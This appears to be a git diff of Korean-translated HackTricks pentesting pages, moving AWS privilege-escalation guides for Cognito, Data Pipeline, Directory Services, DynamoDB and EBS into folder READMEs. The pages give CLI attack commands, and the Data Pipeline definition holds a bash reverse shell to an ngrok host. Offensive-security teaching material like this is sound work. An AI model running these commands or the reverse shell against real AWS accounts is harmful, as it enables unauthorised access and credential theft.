+```bash +aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn +``` +**잠재적 영향:** 다른 Cognito IAM 역할로의 Privesc. + +### `cognito-idp:AdminConfirmSignUp` + +이 권한은 **가입을 검증할 수 있습니다**. 기본적으로 누구나 Cognito 애플리케이션에 가입할 수 있으므로, 이 설정이 남아 있으면 사용자가 임의의 정보로 계정을 생성하고 이 권한으로 계정을 검증할 수 있습니다. +```bash +aws cognito-idp admin-confirm-sign-up \ +--user-pool-id \ +--username +``` +**잠재적 영향:** 새 사용자를 등록할 수 있으면 인증된 사용자에 대해 identity pool IAM role로의 간접적인 privesc가 발생할 수 있습니다. 또한 어떤 계정이든 확인할 수 있게 되어 앱의 다른 기능들에 대한 간접적인 privesc가 발생할 수 있습니다. + +### `cognito-idp:AdminCreateUser` + +이 권한은 공격자가 user pool 내부에 새 사용자를 생성할 수 있게 합니다. 새 사용자는 enabled 상태로 생성되지만 비밀번호를 변경해야 합니다. +```bash +aws cognito-idp admin-create-user \ +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] +``` +**Potential Impact:** 인증된 사용자에 대한 identity pool IAM role로의 직접적인 privesc. 임의의 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 privesc + +### `cognito-idp:AdminEnableUser` + +이 권한은 공격자가 비활성화된 사용자의 자격증명을 발견하여 해당 사용자를 **다시 활성화해야 하는** 매우 드문(엣지 케이스) 상황에서 유용할 수 있습니다. +```bash +aws cognito-idp admin-enable-user \ +--user-pool-id \ +--username +``` +**Potential Impact:** 인증된 사용자의 identity pool IAM role에 대한 간접적인 privesc 및 공격자가 비활성화된 사용자의 credentials를 보유한 경우 해당 사용자의 권한 획득. + +### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** + +이 권한은 [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 자세한 내용은 링크를 확인하세요. + +### `cognito-idp:AdminSetUserPassword` + +이 권한을 통해 공격자는 **모든 사용자의 비밀번호를 변경할 수 있으며**, MFA가 활성화되어 있지 않은 사용자를 대상으로 해당 사용자를 사칭할 수 있습니다. +```bash +aws cognito-idp admin-set-user-password \ +--user-pool-id \ +--username \ +--password \ +--permanent +``` +**Potential Impact:** 직접 privesc로 잠재적으로 모든 사용자에게 권한 상승이 가능하므로, 각 사용자가 속한 모든 그룹과 Identity Pool authenticated IAM role에 접근할 수 있습니다. + +### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` + +**AdminSetUserSettings**: 공격자는 잠재적으로 이 권한을 악용해 자신이 제어하는 휴대전화 번호를 해당 사용자의 **SMS MFA**로 설정할 수 있습니다. +```bash +aws cognito-idp admin-set-user-settings \ +--user-pool-id \ +--username \ +--mfa-options +``` +**SetUserMFAPreference:** 이전 항목과 유사하게, 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다. +```bash +aws cognito-idp admin-set-user-mfa-preference \ +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id +``` +**SetUserPoolMfaConfig**: 이전 항목과 유사하게 이 권한은 사용자 풀의 MFA 설정을 변경해 MFA 보호를 우회하는 데 사용할 수 있습니다. +```bash +aws cognito-idp set-user-pool-mfa-config \ +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] +``` +**UpdateUserPool:** 사용자 풀을 업데이트하여 MFA 정책을 변경할 수도 있습니다. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). + +**Potential Impact:** 공격자가 자격증명을 알고 있는 잠재적 모든 사용자에 대해 간접적인 privesc가 발생할 수 있으며, 이는 MFA 보호를 우회할 수 있습니다. + +### `cognito-idp:AdminUpdateUserAttributes` + +이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기반 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\ +이를 통해 이메일이나 전화번호를 변경하고 이를 검증된 것으로 설정할 수 있습니다. +```bash +aws cognito-idp admin-update-user-attributes \ +--user-pool-id \ +--username \ +--user-attributes +``` +**Potential Impact:** 기반 애플리케이션에서 사용자 속성에 따라 권한을 부여하는 Cognito User Pool을 사용하는 경우 간접적인 privesc가 발생할 수 있습니다. + +### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` + +이 권한을 가진 공격자는 기존 풀 클라이언트보다 제약이 적은 **새로운 User Pool Client를 생성할 수 있습니다.** 예를 들어, 새 클라이언트는 모든 종류의 인증 방법을 허용하거나, secret을 요구하지 않거나, token revocation이 비활성화되거나, 토큰의 유효기간을 더 길게 허용할 수 있습니다... + +새 클라이언트를 생성하는 대신 **기존 클라이언트를 수정**해도 동일한 결과를 얻을 수 있습니다. + +자세한 옵션은 [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))에서 확인할 수 있습니다. 확인해 보세요! +```bash +aws cognito-idp create-user-pool-client \ +--user-pool-id \ +--client-name \ +[...] +``` +**Potential Impact:** 새로운 client를 생성하여 보안 조치를 완화하면 공격자가 자신이 생성한 사용자로 로그인할 수 있게 되어 User Pool에서 사용하는 Identity Pool의 권한 사용자에 대한 간접적인 privesc가 발생할 수 있습니다. + +### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` + +공격자는 이 권한을 악용하여 새 사용자가 담긴 csv를 업로드함으로써 사용자를 생성할 수 있습니다. +```bash +# Create a new import job +aws cognito-idp create-user-import-job \ +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn + +# Use a new import job +aws cognito-idp start-user-import-job \ +--user-pool-id \ +--job-id + +# Both options before will give you a URL where you can send the CVS file with the users to create +curl -v -T "PATH_TO_CSV_FILE" \ +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +``` +(새로운 import job을 생성하는 경우 iam passrole permission이 추가로 필요할 수 있습니다. 아직 테스트해보지 않았습니다). + +**잠재적 영향:** 인증된 사용자에게 identity pool IAM role로의 직접 privesc. 다른 앱 기능들이 임의의 사용자를 생성할 수 있게 되는 간접적인 privesc. + +### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` + +공격자는 새로운 identity provider를 생성하여 **login through this provider**가 가능해질 수 있습니다. +```bash +aws cognito-idp create-identity-provider \ +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] +``` +**Potential Impact:** 인증된 사용자의 identity pool IAM role에 대한 직접적인 privesc. 다른 앱 기능에서 임의의 사용자를 생성할 수 있게 되는 간접적인 privesc. + +### cognito-sync:\* 분석 + +이 권한은 Cognito Identity Pools의 역할에서 기본적으로 매우 흔합니다. 권한에 와일드카드가 있는 것은 항상 나빠 보이지만(특히 AWS의 경우), **해당 권한은 공격자 관점에서는 그다지 유용하지 않습니다**. + +이 권한은 Identity Pools의 정보와 Identity Pools 내부의 Identity IDs 정보를 읽을 수 있게 해줍니다(민감한 정보는 아님).\ +Identity IDs에는 [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)가 할당되어 있을 수 있으며, 이는 세션 정보로 (AWS는 이를 **저장된 게임**처럼 정의합니다). 여기에는 어떤 민감한 정보가 포함될 가능성도 있지만(확률은 꽤 낮음) 있습니다. 이 정보를 어떻게 접근하는지에 대해서는 [**enumeration page**](../../aws-services/aws-cognito-enum/index.html)에서 확인할 수 있습니다. + +공격자는 또한 이러한 권한을 사용해 이러한 데이터셋의 변경사항을 게시하는 **Cognito stream에 자신을 등록(enroll)시키거나** 또는 **cognito 이벤트에서 트리거되는 lambda**에 접근할 수 있습니다. 저는 이것이 실제로 이용되는 것을 본 적은 없고, 여기에서 민감한 정보가 있을 것으로 기대하지 않지만 불가능한 것은 아닙니다. + +### 자동화 도구 + +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. + +모듈 기능 설명은 [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 파트 2를 참조하세요. 설치 지침은 메인 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 확인하세요. + +#### 사용법 + +지정된 identity pool 및 user pool client에 대해 사용자 생성 및 모든 privesc 벡터를 시도하기 위한 cognito\_\_attack 사용 예: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +현재 AWS 계정에서 확인 가능한 모든 user pools, user pool clients, identity pools, users 등을 수집하기 위한 cognito__enum 사용 예: +```bash +Pacu (new:test) > run cognito__enum +``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)은 python으로 작성된 CLI 도구로, Cognito에 대한 다양한 공격을 구현하며 그중에는 privesc escalation도 포함됩니다. + +#### 설치 +```bash +$ pip install cognito-scanner +``` +#### 사용법 +```bash +$ cognito-scanner --help +``` +자세한 정보는 다음을 확인하세요 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md deleted file mode 100644 index 04e9a3f0a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - Datapipeline Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## datapipeline - -datapipeline에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md -{{#endref}} - -### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` - -이 **권한을 가진 사용자들은 Data Pipeline을 생성하여** **할당된 역할의 권한을 사용하여 임의의 명령을 실행함으로써 권한을 상승시킬 수 있습니다:** -```bash -aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string -``` -파이프라인 생성 후, 공격자는 특정 작업이나 리소스 생성을 지시하기 위해 정의를 업데이트합니다: -```json -{ -"objects": [ -{ -"id": "CreateDirectory", -"type": "ShellCommandActivity", -"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", -"runsOn": { "ref": "instance" } -}, -{ -"id": "Default", -"scheduleType": "ondemand", -"failureAndRerunMode": "CASCADE", -"name": "Default", -"role": "assumable_datapipeline", -"resourceRole": "assumable_datapipeline" -}, -{ -"id": "instance", -"name": "instance", -"type": "Ec2Resource", -"actionOnTaskFailure": "terminate", -"actionOnResourceFailure": "retryAll", -"maximumRetries": "1", -"instanceType": "t2.micro", -"securityGroups": ["default"], -"role": "assumable_datapipeline", -"resourceRole": "assumable_ec2_profile_instance" -} -] -} -``` -> [!NOTE] -> **14, 15 및 27행**의 **역할**은 **datapipeline.amazonaws.com**에 의해 **가정 가능한 역할**이어야 하며, **28행**의 역할은 **EC2 프로필 인스턴스가 있는 ec2.amazonaws.com에 의해 가정 가능한 역할**이어야 합니다. -> -> 또한, EC2 인스턴스는 EC2 인스턴스에 의해 가정 가능한 역할에만 접근할 수 있으므로 (그 역할만 훔칠 수 있습니다). -```bash -aws datapipeline put-pipeline-definition --pipeline-id \ ---pipeline-definition file:///pipeline/definition.json -``` -공격자가 제작한 **파이프라인 정의 파일은 AWS API를 통해 명령을 실행하거나 리소스를 생성하는 지시어를 포함하고 있으며, Data Pipeline의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.** - -**잠재적 영향:** 지정된 ec2 서비스 역할로의 직접적인 권한 상승. - -## References - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md new file mode 100644 index 000000000..c23917664 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md @@ -0,0 +1,68 @@ +# AWS - Datapipeline Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## datapipeline + +datapipeline에 대한 자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +{{#endref}} + +### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` + +다음의 **권한을 가진 사용자들은 할당된 역할의 권한을 사용하여 임의의 명령을 실행하기 위해 Data Pipeline을 생성함으로써 권한 상승이 가능합니다:** +```bash +aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string +``` +파이프라인 생성 후, 공격자는 해당 정의를 업데이트하여 특정 작업이나 리소스 생성을 지시합니다: +```json +{ +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] +} +``` +> [!NOTE] +> 참고로 **line 14, 15 and 27**에 있는 **role**은 **datapipeline.amazonaws.com이 맡을 수 있는** role이어야 하며, **line 28**에 있는 role은 **ec2.amazonaws.com이 EC2 profile instance로 맡을 수 있는** role이어야 합니다. +> +> 또한, EC2 인스턴스는 EC2 인스턴스가 맡을 수 있는 role에만 접근 권한을 가지므로(즉, 훔칠 수 있는 것은 그 role뿐입니다). +```bash +aws datapipeline put-pipeline-definition --pipeline-id \ +--pipeline-definition file:///pipeline/definition.json +``` +공격자가 작성한 **파이프라인 정의 파일은 명령을 실행하도록 지시하는 항목을 포함**하거나 AWS API를 통해 리소스를 생성하도록 지시하여 Data Pipeline의 role permissions을 활용해 잠재적으로 추가 권한을 획득할 수 있습니다. + +**잠재적 영향:** 지정된 ec2 service role에 대한 직접 privesc. + +## 참조 + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md deleted file mode 100644 index f653d5c56..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Directory Services Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Directory Services - -디렉토리 서비스에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md -{{#endref}} - -### `ds:ResetUserPassword` - -이 권한은 Active Directory에서 **존재하는** 사용자의 **비밀번호**를 **변경**할 수 있게 해줍니다.\ -기본적으로, 유일한 존재하는 사용자는 **Admin**입니다. -``` -aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. -``` -### AWS Management Console - -AD 사용자가 로그인할 수 있는 **애플리케이션 액세스 URL**을 활성화하는 것이 가능합니다: - -
- -그런 다음 로그인할 때 **AWS IAM 역할**을 부여하여 AD 사용자/그룹이 AWS 관리 콘솔에 접근할 수 있도록 합니다: - -
- -애플리케이션 액세스 URL을 활성화하고 AWS Management Console에 대한 권한을 부여하는 방법은 없는 것 같습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..f48b2ce85 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Directory Services Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Directory Services + +Directory Services에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +이 권한은 Active Directory의 어떤 **존재하는** 사용자에 대해서든 **비밀번호**를 **변경**할 수 있도록 허용합니다.\ +기본적으로 유일한 사용자 계정은 **Admin**입니다. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +AD 사용자가 로그인할 수 있도록 **application access URL**을 활성화할 수 있습니다: + +
+ +그리고 로그인할 때 사용할 **AWS IAM role**을 부여하면, AD 사용자/그룹이 AWS management console에 접근할 수 있습니다: + +
+ +현재로서는 application access URL과 AWS Management Console을 활성화하고 권한을 부여할 방법이 없는 것으로 보입니다 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index ff00695b1..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -dynamodb에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, 그리고 선택적으로 `dynamodb:GetResourcePolicy` - -2024년 3월부터 AWS는 DynamoDB에 대해 *리소스 기반 정책*을 제공합니다 ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -따라서, 테이블에 대해 `dynamodb:PutResourcePolicy`가 있다면, 자신이나 다른 주체에게 테이블에 대한 전체 액세스를 부여할 수 있습니다. - -무작위 주체에게 `dynamodb:PutResourcePolicy`를 부여하는 것은 종종 우연히 발생하는데, 관리자가 `dynamodb:Put*`를 부여하면 주체가 데이터베이스에 항목을 추가할 수 있다고 생각하거나, 2024년 3월 이전에 해당 권한 세트를 부여했기 때문입니다... - -이상적으로는, 다른 잠재적으로 중요한 권한을 덮어쓰지 않도록 `dynamodb:GetResourcePolicy`도 가지고 있어야 하며, 필요한 추가 권한만 주입해야 합니다: -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -현재 정책을 가져올 수 없는 경우, 다음 정책을 사용하여 테이블에 대한 전체 액세스를 귀하의 주체에게 부여하십시오: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -리소스 정책을 설정하려면 `policy.json` 정책 문서가 준비되어 있어야 합니다. -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -이제 필요한 권한을 얻었을 것입니다. - -### 포스트 익스플로잇 - -제가 아는 한, AWS에서 **일부 AWS `dynamodb` 권한만으로 권한을 상승시키는 다른 직접적인 방법은 없습니다**. 테이블에서 **민감한** 정보를 읽을 수 있고(여기에는 AWS 자격 증명이 포함될 수 있음) **테이블에 정보를 쓸 수 있습니다**(이로 인해 lambda 코드 주입과 같은 다른 취약점이 발생할 수 있음) 하지만 이러한 모든 옵션은 이미 **DynamoDB 포스트 익스플로잇 페이지**에서 고려되었습니다: - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### TODO: 데이터 스트림을 악용하여 데이터 읽기 - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..ab725643c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + +For more info about dynamodb check: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy` + +2024년 3월부터 AWS는 DynamoDB에 대해 *resource based policies*를 제공합니다 ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +따라서 테이블에 대해 `dynamodb:PutResourcePolicy` 권한이 있으면 자신이나 다른 principal에게 테이블에 대한 전체 액세스를 부여할 수 있습니다. + +관리자가 `dynamodb:Put*`를 부여하면 해당 principal이 데이터베이스에 아이템을 넣는 것만 가능할 것이라고 생각하거나, 2024년 3월 이전에 해당 권한 세트를 부여한 경우 등으로 인해 무작위 principal에게 `dynamodb:PutResourcePolicy`를 부여하는 일이 종종 우연히 발생합니다... + +이상적으로는 `dynamodb:GetResourcePolicy`도 가지고 있어야 다른 잠재적으로 중요한 권한을 덮어쓰지 않고 필요한 추가 권한만 주입할 수 있습니다: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +현재 정책을 가져올 수 없다면, 해당 principal에게 table에 대한 전체 액세스 권한을 부여하는 다음 정책을 사용하세요: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +커스터마이즈가 필요하다면, 모든 가능한 DynamoDB actions 목록은 다음을 참고하세요: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). 그리고 리소스 기반 정책으로 허용할 수 있는 모든 action과 *그 중 어떤 것들이 cross-account (think data exfiltration!)으로 사용될 수 있는지*에 대한 목록은 다음을 참고하세요: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +이제 정책 문서 `policy.json`이 준비되었으면, 리소스 정책을 넣습니다: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +이제 필요한 권한을 얻었을 것입니다. + +### Post Exploitation + +제가 알기로는 **일부 AWS `dynamodb` 권한만으로 AWS에서 권한을 직접 상승시킬 수 있는 다른 방법은 없습니다**. 테이블에서 **민감한** 정보를 읽을 수 있고(여기에는 AWS 자격증명이 포함될 수 있음) 테이블에 **정보를 쓸 수** 있습니다(이로 인해 lambda code injections... 같은 다른 취약점이 촉발될 수 있음). 하지만 이 모든 옵션은 이미 **DynamoDB Post Exploitation page**에 고려되어 있습니다: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: data Streams를 악용해 데이터 읽기 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index 8730a0199..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -이 권한을 가진 공격자는 **로컬에서 볼륨 스냅샷을 다운로드하고 분석**하여 그 안에서 민감한 정보를 검색할 수 있습니다(예: 비밀 또는 소스 코드). 이를 수행하는 방법은 다음에서 확인하십시오: - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -다른 권한도 유용할 수 있습니다: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` - -도구 [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy)는 **도메인 컨트롤러에서 비밀번호를 추출하는** 공격을 수행합니다. - -**잠재적 영향:** 스냅샷에서 민감한 정보를 찾아 간접적인 권한 상승이 발생할 수 있습니다(Active Directory 비밀번호를 얻을 수도 있습니다). - -### **`ec2:CreateSnapshot`** - -**`EC2:CreateSnapshot`** 권한을 가진 모든 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있도록 내보내어 모든 도메인 사용자의 해시를 훔칠 수 있습니다. - -이 공격을 자동화하는 도구를 사용할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..728f63b84 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +해당 권한을 가진 공격자는 볼륨 스냅샷을 로컬로 **다운로드하여 분석**하고(예: 비밀이나 소스 코드 등) 그 안에서 민감한 정보를 검색할 수 있습니다. 방법은 다음에서 확인하세요: + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +다음과 같은 다른 권한들도 유용할 수 있습니다: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. + +**Potential Impact:** 스냅샷에서 민감한 정보를 찾아 간접적인 privesc가 발생할 수 있습니다(심지어 Active Directory 비밀번호까지 얻을 수 있음). + +### **`ec2:CreateSnapshot`** + +이 권한(**`EC2:CreateSnapshot`**)을 가진 AWS 사용자는 **Domain Controller의 스냅샷**을 생성하여 자신이 제어하는 인스턴스에 마운트한 뒤, Impacket의 secretsdump 프로젝트에서 사용할 **NTDS.dit 및 SYSTEM을 내보내는** 레지스트리 하이브 파일을 얻어 모든 도메인 사용자의 해시를 탈취할 수 있습니다. + +이 공격을 자동화하려면 이 도구를 사용할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷 생성 후 이전 기법들 중 하나를 사용할 수도 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index cf06bbe0a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -EC2에 대한 **정보**는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -공격자는 **IAM 역할을 연결하여 인스턴스를 생성한 다음 인스턴스에 접근하여 메타데이터 엔드포인트에서 IAM 역할 자격 증명을 훔칠 수 있습니다.** - -- **SSH를 통한 접근** - -**생성된** **ssh 